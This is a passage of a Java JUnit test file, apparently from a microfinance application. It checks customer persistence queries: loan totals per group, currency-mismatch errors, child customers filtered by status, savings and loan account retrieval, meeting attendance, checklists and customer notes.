* When trying to sum amounts across loans with different currencies, we should get an exception
*/
public void testGetTotalAmountForGroupForMultipleCurrencies() throws Exception {
ConfigurationManager configMgr = ConfigurationManager.getInstance();
configMgr.setProperty(AccountingRulesConstants.ADDITIONAL_CURRENCY_CODES, TestUtils.EURO.getCurrencyCode());
GroupBO group1;
AccountBO account1;
AccountBO account2;
try {
CustomerPersistence customerPersistence = new CustomerPersistence();
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY, EVERY_WEEK,
CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting);
group1 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
account1 = getLoanAccount(group1, meeting, "adsfdsfsd", "3saf", TestUtils.RUPEE);
account2 = getLoanAccount(group1, meeting, "adspp", "kkaf", TestUtils.EURO);
try {
customerPersistence.getTotalAmountForGroup(group1.getCustomerId(),
AccountState.LOAN_ACTIVE_IN_GOOD_STANDING);
fail("didn't get the expected CurrencyMismatchException");
} catch (CurrencyMismatchException e) {
// if we got here then we got the exception we were expecting
assertNotNull(e);
} catch (Exception e) {
fail("didn't get the expected CurrencyMismatchException");
}
} finally {
configMgr.clearProperty(AccountingRulesConstants.ADDITIONAL_CURRENCY_CODES);
}
TestObjectFactory.cleanUp(account1);
TestObjectFactory.cleanUp(account2);
TestObjectFactory.cleanUp(group1);
}
public void testGetTotalAmountForGroup() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY, EVERY_WEEK,
CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting);
GroupBO group1 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
AccountBO account1 = getLoanAccount(group1, meeting, "adsfdsfsd", "3saf");
AccountBO account2 = getLoanAccount(group1, meeting, "adspp", "kkaf");
Money amount = customerPersistence.getTotalAmountForGroup(group1.getCustomerId(),
AccountState.LOAN_ACTIVE_IN_GOOD_STANDING);
Assert.assertEquals(new Money(getCurrency(), "600"), amount);
AccountBO account3 = getLoanAccountInActiveBadStanding(group1, meeting, "adsfdsfsd1", "4sa");
AccountBO account4 = getLoanAccountInActiveBadStanding(group1, meeting, "adspp2", "kaf5");
Money amount2 = customerPersistence.getTotalAmountForGroup(group1.getCustomerId(),
AccountState.LOAN_ACTIVE_IN_BAD_STANDING);
Assert.assertEquals(new Money(getCurrency(), "600"), amount2);
TestObjectFactory.cleanUp(account1);
TestObjectFactory.cleanUp(account2);
TestObjectFactory.cleanUp(account3);
TestObjectFactory.cleanUp(account4);
TestObjectFactory.cleanUp(group1);
}
public void testGetTotalAmountForAllClientsOfGroup() throws Exception {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = createCenter("new_center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
AccountBO clientAccount1 = getLoanAccount(client, meeting, "fdbdhgsgh", "54hg");
AccountBO clientAccount2 = getLoanAccount(client, meeting, "fasdfdsfasdf", "1qwe");
Money amount = customerPersistence.getTotalAmountForAllClientsOfGroup(group.getOffice().getOfficeId(),
AccountState.LOAN_ACTIVE_IN_GOOD_STANDING, group.getSearchId() + ".%");
Assert.assertEquals(new Money(getCurrency(), "600"), amount);
clientAccount1.changeStatus(AccountState.LOAN_ACTIVE_IN_BAD_STANDING.getValue(), null, "none");
clientAccount2.changeStatus(AccountState.LOAN_ACTIVE_IN_BAD_STANDING.getValue(), null, "none");
TestObjectFactory.updateObject(clientAccount1);
TestObjectFactory.updateObject(clientAccount2);
StaticHibernateUtil.commitTransaction();
Money amount2 = customerPersistence.getTotalAmountForAllClientsOfGroup(group.getOffice().getOfficeId(),
AccountState.LOAN_ACTIVE_IN_BAD_STANDING, group.getSearchId() + ".%");
Assert.assertEquals(new Money(getCurrency(), "600"), amount2);
TestObjectFactory.cleanUp(clientAccount1);
TestObjectFactory.cleanUp(clientAccount2);
}
public void testGetAllBasicGroupInfo() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
center = createCenter("new_center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
GroupBO newGroup = TestObjectFactory.createWeeklyFeeGroupUnderCenter("newGroup", CustomerStatus.GROUP_HOLD, center);
GroupBO newGroup2 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("newGroup2", CustomerStatus.GROUP_CANCELLED,
center);
GroupBO newGroup3 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("newGroup3", CustomerStatus.GROUP_CLOSED, center);
GroupBO newGroup4 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("newGroup4", CustomerStatus.GROUP_PARTIAL, center);
GroupBO newGroup5 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("newGroup5", CustomerStatus.GROUP_PENDING, center);
List<BasicGroupInfo> groupInfos = customerPersistence.getAllBasicGroupInfo();
Assert.assertEquals(2, groupInfos.size());
Assert.assertEquals(group.getDisplayName(), groupInfos.get(0).getGroupName());
Assert.assertEquals(group.getSearchId(), groupInfos.get(0).getSearchId());
Assert.assertEquals(group.getOffice().getOfficeId(), groupInfos.get(0).getBranchId());
Assert.assertEquals(group.getCustomerId(), groupInfos.get(0).getGroupId());
Assert.assertEquals(newGroup.getDisplayName(), groupInfos.get(1).getGroupName());
Assert.assertEquals(newGroup.getSearchId(), groupInfos.get(1).getSearchId());
Assert.assertEquals(newGroup.getOffice().getOfficeId(), groupInfos.get(1).getBranchId());
Assert.assertEquals(newGroup.getCustomerId(), groupInfos.get(1).getGroupId());
TestObjectFactory.cleanUp(newGroup);
TestObjectFactory.cleanUp(newGroup2);
TestObjectFactory.cleanUp(newGroup3);
TestObjectFactory.cleanUp(newGroup4);
TestObjectFactory.cleanUp(newGroup5);
}
public void testCustomersUnderLO() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = TestObjectFactory.createWeeklyFeeCenter("Center_Active", meeting);
List<CustomerView> customers = customerPersistence.getActiveParentList(Short.valueOf("1"), CustomerLevel.CENTER
.getValue(), Short.valueOf("3"));
Assert.assertEquals(1, customers.size());
}
public void testActiveCustomersUnderParent() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
createCustomers(CustomerStatus.GROUP_ACTIVE, CustomerStatus.CLIENT_ACTIVE);
List<CustomerView> customers = customerPersistence.getChildrenForParent(center.getCustomerId(), center
.getSearchId(), center.getOffice().getOfficeId());
Assert.assertEquals(2, customers.size());
}
public void testOnHoldCustomersUnderParent() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
createCustomers(CustomerStatus.GROUP_HOLD, CustomerStatus.CLIENT_HOLD);
List<CustomerView> customers = customerPersistence.getChildrenForParent(center.getCustomerId(), center
.getSearchId(), center.getOffice().getOfficeId());
Assert.assertEquals(2, customers.size());
}
public void testGetLastMeetingDateForCustomer() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
meeting = TestObjectFactory.createMeeting(TestObjectFactory.getNewMeetingForToday(WEEKLY, EVERY_WEEK,
CUSTOMER_MEETING));
center = TestObjectFactory.createWeeklyFeeCenter("Center", meeting);
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
account = getLoanAccount(group, meeting, "adsfdsfsd", "3saf");
// Date actionDate = new Date(2006,03,13);
Date meetingDate = customerPersistence.getLastMeetingDateForCustomer(center.getCustomerId());
Assert.assertEquals(new Date(getMeetingDates(meeting).getTime()).toString(), meetingDate.toString());
}
public void testGetChildernOtherThanClosed() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_CLOSED, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_CANCELLED, group);
ClientBO client4 = TestObjectFactory.createClient("client4", CustomerStatus.CLIENT_PENDING, group);
List<CustomerBO> customerList = customerPersistence.getChildren(center.getSearchId(), center.getOffice()
.getOfficeId(), CustomerLevel.CLIENT, ChildrenStateType.OTHER_THAN_CLOSED);
Assert.assertEquals(new Integer("3").intValue(), customerList.size());
for (CustomerBO customer : customerList) {
if (customer.getCustomerId().intValue() == client3.getCustomerId().intValue()) {
Assert.assertTrue(true);
}
}
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client4);
}
public void testGetChildernActiveAndHold() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_PARTIAL, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_PENDING, group);
ClientBO client4 = TestObjectFactory.createClient("client4", CustomerStatus.CLIENT_HOLD, group);
List<CustomerBO> customerList = customerPersistence.getChildren(center.getSearchId(), center.getOffice()
.getOfficeId(), CustomerLevel.CLIENT, ChildrenStateType.ACTIVE_AND_ONHOLD);
Assert.assertEquals(new Integer("2").intValue(), customerList.size());
for (CustomerBO customer : customerList) {
if (customer.getCustomerId().intValue() == client.getCustomerId().intValue()) {
Assert.assertTrue(true);
}
if (customer.getCustomerId().intValue() == client4.getCustomerId().intValue()) {
Assert.assertTrue(true);
}
}
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client4);
}
public void testGetChildernOtherThanClosedAndCancelled() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_CLOSED, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_CANCELLED, group);
ClientBO client4 = TestObjectFactory.createClient("client4", CustomerStatus.CLIENT_PENDING, group);
List<CustomerBO> customerList = customerPersistence.getChildren(center.getSearchId(), center.getOffice()
.getOfficeId(), CustomerLevel.CLIENT, ChildrenStateType.OTHER_THAN_CANCELLED_AND_CLOSED);
Assert.assertEquals(new Integer("2").intValue(), customerList.size());
for (CustomerBO customer : customerList) {
if (customer.getCustomerId().equals(client4.getCustomerId())) {
Assert.assertTrue(true);
}
}
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client4);
}
public void testGetAllChildern() throws Exception {
CustomerPersistence customerPersistence = new CustomerPersistence();
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_CLOSED, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_CANCELLED, group);
ClientBO client4 = TestObjectFactory.createClient("client4", CustomerStatus.CLIENT_PENDING, group);
List<CustomerBO> customerList = customerPersistence.getChildren(center.getSearchId(), center.getOffice()
.getOfficeId(), CustomerLevel.CLIENT, ChildrenStateType.ALL);
Assert.assertEquals(new Integer("4").intValue(), customerList.size());
for (CustomerBO customer : customerList) {
if (customer.getCustomerId().equals(client2.getCustomerId())) {
Assert.assertTrue(true);
}
}
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client4);
}
public void testRetrieveSavingsAccountForCustomer() throws Exception {
java.util.Date currentDate = new java.util.Date();
CustomerPersistence customerPersistence = new CustomerPersistence();
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
savingsOffering = TestObjectFactory.createSavingsProduct("SavingPrd1", "S", currentDate, RecommendedAmountUnit.COMPLETE_GROUP);
UserContext user = new UserContext();
user.setId(PersonnelConstants.SYSTEM_USER);
account = TestObjectFactory.createSavingsAccount("000100000000020", group, AccountState.SAVINGS_ACTIVE,
currentDate, savingsOffering, user);
StaticHibernateUtil.closeSession();
List<SavingsBO> savingsList = customerPersistence.retrieveSavingsAccountForCustomer(group.getCustomerId());
Assert.assertEquals(1, savingsList.size());
account = savingsList.get(0);
group = account.getCustomer();
center = group.getParentCustomer();
}
public void testNumberOfMeetingsAttended() throws Exception {
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("Client", CustomerStatus.CLIENT_ACTIVE, group);
client.handleAttendance(new Date(System.currentTimeMillis()), AttendanceType.ABSENT);
client.handleAttendance(new Date(System.currentTimeMillis()), AttendanceType.PRESENT);
Calendar currentDate = new GregorianCalendar();
currentDate.roll(Calendar.DATE, 1);
client.handleAttendance(new Date(currentDate.getTimeInMillis()), AttendanceType.LATE);
StaticHibernateUtil.commitTransaction();
CustomerPerformanceHistoryView customerPerformanceHistoryView = customerPersistence.numberOfMeetings(true,
client.getCustomerId());
Assert.assertEquals(2, customerPerformanceHistoryView.getMeetingsAttended().intValue());
StaticHibernateUtil.closeSession();
}
public void testNumberOfMeetingsMissed() throws Exception {
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("Client", CustomerStatus.CLIENT_ACTIVE, group);
client.handleAttendance(new Date(System.currentTimeMillis()), AttendanceType.PRESENT);
client.handleAttendance(new Date(System.currentTimeMillis()), AttendanceType.ABSENT);
Calendar currentDate = new GregorianCalendar();
currentDate.roll(Calendar.DATE, 1);
client.handleAttendance(new Date(currentDate.getTimeInMillis()), AttendanceType.APPROVED_LEAVE);
StaticHibernateUtil.commitTransaction();
CustomerPerformanceHistoryView customerPerformanceHistoryView = customerPersistence.numberOfMeetings(false,
client.getCustomerId());
Assert.assertEquals(2, customerPerformanceHistoryView.getMeetingsMissed().intValue());
StaticHibernateUtil.closeSession();
}
public void testLastLoanAmount() throws PersistenceException, AccountException {
Date startDate = new Date(System.currentTimeMillis());
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("Client", CustomerStatus.CLIENT_ACTIVE, group);
LoanOfferingBO loanOffering = TestObjectFactory.createLoanOffering(startDate, center.getCustomerMeeting()
.getMeeting());
LoanBO loanBO = TestObjectFactory.createLoanAccount("42423142341", client,
AccountState.LOAN_ACTIVE_IN_GOOD_STANDING, startDate, loanOffering);
StaticHibernateUtil.commitTransaction();
StaticHibernateUtil.closeSession();
account = (AccountBO) StaticHibernateUtil.getSessionTL().get(LoanBO.class, loanBO.getAccountId());
AccountStateEntity accountStateEntity = new AccountStateEntity(AccountState.LOAN_CLOSED_OBLIGATIONS_MET);
account.setUserContext(TestObjectFactory.getContext());
account.changeStatus(accountStateEntity.getId(), null, "");
TestObjectFactory.updateObject(account);
CustomerPersistence customerPersistence = new CustomerPersistence();
CustomerPerformanceHistoryView customerPerformanceHistoryView = customerPersistence.getLastLoanAmount(client
.getCustomerId());
Assert.assertEquals("300.0", customerPerformanceHistoryView.getLastLoanAmount());
}
public void testFindBySystemId() throws Exception {
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group_Active_test", CustomerStatus.GROUP_ACTIVE, center);
GroupBO groupBO = (GroupBO) customerPersistence.findBySystemId(group.getGlobalCustNum());
Assert.assertEquals(groupBO.getDisplayName(), group.getDisplayName());
}
public void testGetBySystemId() throws Exception {
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group_Active_test", CustomerStatus.GROUP_ACTIVE, center);
GroupBO groupBO = (GroupBO) customerPersistence.findBySystemId(group.getGlobalCustNum(), group
.getCustomerLevel().getId());
Assert.assertEquals(groupBO.getDisplayName(), group.getDisplayName());
}
public void testOptionalCustomerStates() throws Exception {
Assert.assertEquals(Integer.valueOf(0).intValue(), customerPersistence.getCustomerStates(Short.valueOf("0"))
.size());
}
public void testCustomerStatesInUse() throws Exception {
Assert.assertEquals(Integer.valueOf(14).intValue(), customerPersistence.getCustomerStates(Short.valueOf("1"))
.size());
}
public void testGetCustomersWithUpdatedMeetings() throws Exception {
center = createCenter();
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center);
CustomerBOTestUtils.setUpdatedFlag(group.getCustomerMeeting(), YesNoFlag.YES.getValue());
TestObjectFactory.updateObject(group);
List<Integer> customerIds = customerPersistence.getCustomersWithUpdatedMeetings();
Assert.assertEquals(1, customerIds.size());
}
public void testRetrieveAllLoanAccountUnderCustomer() throws PersistenceException {
MeetingBO meeting = TestObjectFactory.createMeeting(TestObjectFactory.getTypicalMeeting());
center = createCenter("center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
CenterBO center1 = createCenter("center1");
GroupBO group1 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center1);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_ACTIVE, group1);
account = getLoanAccount(group, meeting, "cdfggdfs", "1qdd");
AccountBO account1 = getLoanAccount(client, meeting, "fdbdhgsgh", "54hg");
AccountBO account2 = getLoanAccount(client2, meeting, "fasdfdsfasdf", "1qwe");
AccountBO account3 = getLoanAccount(client3, meeting, "fdsgdfgfd", "543g");
AccountBO account4 = getLoanAccount(group1, meeting, "fasdf23", "3fds");
CustomerBOTestUtils.setCustomerStatus(client2, new CustomerStatusEntity(CustomerStatus.CLIENT_CLOSED));
TestObjectFactory.updateObject(client2);
client2 = TestObjectFactory.getClient(client2.getCustomerId());
CustomerBOTestUtils.setCustomerStatus(client3, new CustomerStatusEntity(CustomerStatus.CLIENT_CANCELLED));
TestObjectFactory.updateObject(client3);
client3 = TestObjectFactory.getClient(client3.getCustomerId());
List<AccountBO> loansForCenter = customerPersistence.retrieveAccountsUnderCustomer(center.getSearchId(), Short
.valueOf("3"), Short.valueOf("1"));
Assert.assertEquals(3, loansForCenter.size());
List<AccountBO> loansForGroup = customerPersistence.retrieveAccountsUnderCustomer(group.getSearchId(), Short
.valueOf("3"), Short.valueOf("1"));
Assert.assertEquals(3, loansForGroup.size());
List<AccountBO> loansForClient = customerPersistence.retrieveAccountsUnderCustomer(client.getSearchId(), Short
.valueOf("3"), Short.valueOf("1"));
Assert.assertEquals(1, loansForClient.size());
TestObjectFactory.cleanUp(account4);
TestObjectFactory.cleanUp(account3);
TestObjectFactory.cleanUp(account2);
TestObjectFactory.cleanUp(account1);
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(group1);
TestObjectFactory.cleanUp(center1);
}
public void testRetrieveAllSavingsAccountUnderCustomer() throws Exception {
center = createCenter("new_center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
CenterBO center1 = createCenter("new_center1");
GroupBO group1 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center1);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_CLOSED, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_CANCELLED, group1);
account = getSavingsAccount(center, "Savings Prd1", "Abc1");
AccountBO account1 = getSavingsAccount(client, "Savings Prd2", "Abc2");
AccountBO account2 = getSavingsAccount(client2, "Savings Prd3", "Abc3");
AccountBO account3 = getSavingsAccount(client3, "Savings Prd4", "Abc4");
AccountBO account4 = getSavingsAccount(group1, "Savings Prd5", "Abc5");
AccountBO account5 = getSavingsAccount(group, "Savings Prd6", "Abc6");
AccountBO account6 = getSavingsAccount(center1, "Savings Prd7", "Abc7");
List<AccountBO> savingsForCenter = customerPersistence.retrieveAccountsUnderCustomer(center.getSearchId(),
Short.valueOf("3"), Short.valueOf("2"));
Assert.assertEquals(4, savingsForCenter.size());
List<AccountBO> savingsForGroup = customerPersistence.retrieveAccountsUnderCustomer(group.getSearchId(), Short
.valueOf("3"), Short.valueOf("2"));
Assert.assertEquals(3, savingsForGroup.size());
List<AccountBO> savingsForClient = customerPersistence.retrieveAccountsUnderCustomer(client.getSearchId(),
Short.valueOf("3"), Short.valueOf("2"));
Assert.assertEquals(1, savingsForClient.size());
TestObjectFactory.cleanUp(account3);
TestObjectFactory.cleanUp(account2);
TestObjectFactory.cleanUp(account1);
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(account4);
TestObjectFactory.cleanUp(account5);
TestObjectFactory.cleanUp(group1);
TestObjectFactory.cleanUp(account6);
TestObjectFactory.cleanUp(center1);
}
public void testGetAllChildrenForParent() throws NumberFormatException, PersistenceException {
center = createCenter("Center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
CenterBO center1 = createCenter("center11");
GroupBO group1 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center1);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_CLOSED, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_CANCELLED, group1);
List<CustomerBO> customerList1 = customerPersistence.getAllChildrenForParent(center.getSearchId(), Short
.valueOf("3"), CustomerLevel.CENTER.getValue());
Assert.assertEquals(2, customerList1.size());
List<CustomerBO> customerList2 = customerPersistence.getAllChildrenForParent(center.getSearchId(), Short
.valueOf("3"), CustomerLevel.GROUP.getValue());
Assert.assertEquals(1, customerList2.size());
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(group1);
TestObjectFactory.cleanUp(center1);
}
public void testGetChildrenForParent() throws NumberFormatException, SystemException, ApplicationException {
center = createCenter("center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
CenterBO center1 = createCenter("center1");
GroupBO group1 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center1);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_CLOSED, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_CANCELLED, group1);
List<Integer> customerIds = customerPersistence.getChildrenForParent(center.getSearchId(), Short.valueOf("3"));
Assert.assertEquals(3, customerIds.size());
CustomerBO customer = TestObjectFactory.getCustomer(customerIds.get(0));
Assert.assertEquals("Group", customer.getDisplayName());
customer = TestObjectFactory.getCustomer(customerIds.get(1));
Assert.assertEquals("client1", customer.getDisplayName());
customer = TestObjectFactory.getCustomer(customerIds.get(2));
Assert.assertEquals("client2", customer.getDisplayName());
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(group1);
TestObjectFactory.cleanUp(center1);
}
public void testGetCustomers() throws NumberFormatException, SystemException, ApplicationException {
center = createCenter("center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
CenterBO center1 = createCenter("center11");
GroupBO group1 = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group1", CustomerStatus.GROUP_ACTIVE, center1);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
ClientBO client2 = TestObjectFactory.createClient("client2", CustomerStatus.CLIENT_CLOSED, group);
ClientBO client3 = TestObjectFactory.createClient("client3", CustomerStatus.CLIENT_CANCELLED, group1);
List<Integer> customerIds = customerPersistence.getCustomers(CustomerLevel.CENTER.getValue());
Assert.assertEquals(2, customerIds.size());
TestObjectFactory.cleanUp(client3);
TestObjectFactory.cleanUp(client2);
TestObjectFactory.cleanUp(group1);
TestObjectFactory.cleanUp(center1);
}
public void testGetCustomerChecklist() throws NumberFormatException, SystemException, ApplicationException,
Exception {
center = createCenter("center");
group = TestObjectFactory.createWeeklyFeeGroupUnderCenter("Group", CustomerStatus.GROUP_ACTIVE, center);
client = TestObjectFactory.createClient("client1", CustomerStatus.CLIENT_ACTIVE, group);
CustomerCheckListBO checklistCenter = TestObjectFactory.createCustomerChecklist(center.getCustomerLevel()
.getId(), center.getCustomerStatus().getId(), CheckListConstants.STATUS_ACTIVE);
CustomerCheckListBO checklistClient = TestObjectFactory.createCustomerChecklist(client.getCustomerLevel()
.getId(), client.getCustomerStatus().getId(), CheckListConstants.STATUS_INACTIVE);
CustomerCheckListBO checklistGroup = TestObjectFactory.createCustomerChecklist(
group.getCustomerLevel().getId(), group.getCustomerStatus().getId(), CheckListConstants.STATUS_ACTIVE);
StaticHibernateUtil.closeSession();
Assert.assertEquals(1, customerPersistence.getStatusChecklist(center.getCustomerStatus().getId(),
center.getCustomerLevel().getId()).size());
client = (ClientBO) StaticHibernateUtil.getSessionTL().get(ClientBO.class,
Integer.valueOf(client.getCustomerId()));
group = (GroupBO) StaticHibernateUtil.getSessionTL().get(GroupBO.class, Integer.valueOf(group.getCustomerId()));
center = (CenterBO) StaticHibernateUtil.getSessionTL().get(CenterBO.class,
Integer.valueOf(center.getCustomerId()));
checklistCenter = (CustomerCheckListBO) StaticHibernateUtil.getSessionTL().get(CheckListBO.class,
new Short(checklistCenter.getChecklistId()));
checklistClient = (CustomerCheckListBO) StaticHibernateUtil.getSessionTL().get(CheckListBO.class,
new Short(checklistClient.getChecklistId()));
checklistGroup = (CustomerCheckListBO) StaticHibernateUtil.getSessionTL().get(CheckListBO.class,
new Short(checklistGroup.getChecklistId()));
TestObjectFactory.cleanUp(checklistCenter);
TestObjectFactory.cleanUp(checklistClient);
TestObjectFactory.cleanUp(checklistGroup);
}
public void testRetrieveAllCustomerStatusList() throws NumberFormatException, SystemException, ApplicationException {
center = createCenter();
Assert.assertEquals(2, customerPersistence.retrieveAllCustomerStatusList(center.getCustomerLevel().getId())
.size());
}
public void testCustomerCountByOffice() throws Exception {
int count = customerPersistence.getCustomerCountForOffice(CustomerLevel.CENTER, Short.valueOf("3"));
Assert.assertEquals(0, count);
center = createCenter();
count = customerPersistence.getCustomerCountForOffice(CustomerLevel.CENTER, Short.valueOf("3"));
Assert.assertEquals(1, count);
}
public void testGetAllCustomerNotes() throws Exception {
center = createCenter();
center.addCustomerNotes(TestObjectFactory.getCustomerNote("Test Note", center));
TestObjectFactory.updateObject(center);
Assert.assertEquals(1, customerPersistence.getAllCustomerNotes(center.getCustomerId()).getSize());
for (CustomerNoteEntity note : center.getCustomerNotes()) {
Assert.assertEquals("Test Note", note.getComment());
Assert.assertEquals(center.getPersonnel().getPersonnelId(), note.getPersonnel().getPersonnelId());
}
center = (CenterBO) StaticHibernateUtil.getSessionTL().get(CenterBO.class,
Integer.valueOf(center.getCustomerId()));
}
public void testGetAllCustomerNotesWithZeroNotes() throws Exception {
center = createCenter();
Assert.assertEquals(0, customerPersistence.getAllCustomerNotes(center.getCustomerId()).getSize());
Assert.assertEquals(0, center.getCustomerNotes().size());
}
public void testGetFormedByPersonnel() throws NumberFormatException, SystemException, ApplicationException {
center = createCenter();
Assert.assertEquals(1, customerPersistence.getFormedByPersonnel(ClientConstants.LOAN_OFFICER_LEVEL,
center.getOffice().getOfficeId()).size());
}
public void testGetAllClosedAccounts() throws Exception {
getCustomer();
groupAccount.changeStatus(AccountState.LOAN_CANCELLED.getValue(), AccountStateFlag.LOAN_WITHDRAW.getValue(),
"WITHDRAW LOAN ACCOUNT");
clientAccount.changeStatus(AccountState.LOAN_CLOSED_WRITTEN_OFF.getValue(), null, "WITHDRAW LOAN ACCOUNT");
clientSavingsAccount.changeStatus(AccountState.SAVINGS_CANCELLED.getValue(), AccountStateFlag.SAVINGS_REJECTED
.getValue(), "WITHDRAW LOAN ACCOUNT");
TestObjectFactory.updateObject(groupAccount);
TestObjectFactory.updateObject(clientAccount);
TestObjectFactory.updateObject(clientSavingsAccount);
StaticHibernateUtil.commitTransaction();
Assert.assertEquals(1, customerPersistence.getAllClosedAccount(client.getCustomerId(),
AccountTypes.LOAN_ACCOUNT.getValue()).size());
Assert.assertEquals(1, customerPersistence.getAllClosedAccount(group.getCustomerId(),
AccountTypes.LOAN_ACCOUNT.getValue()).size());
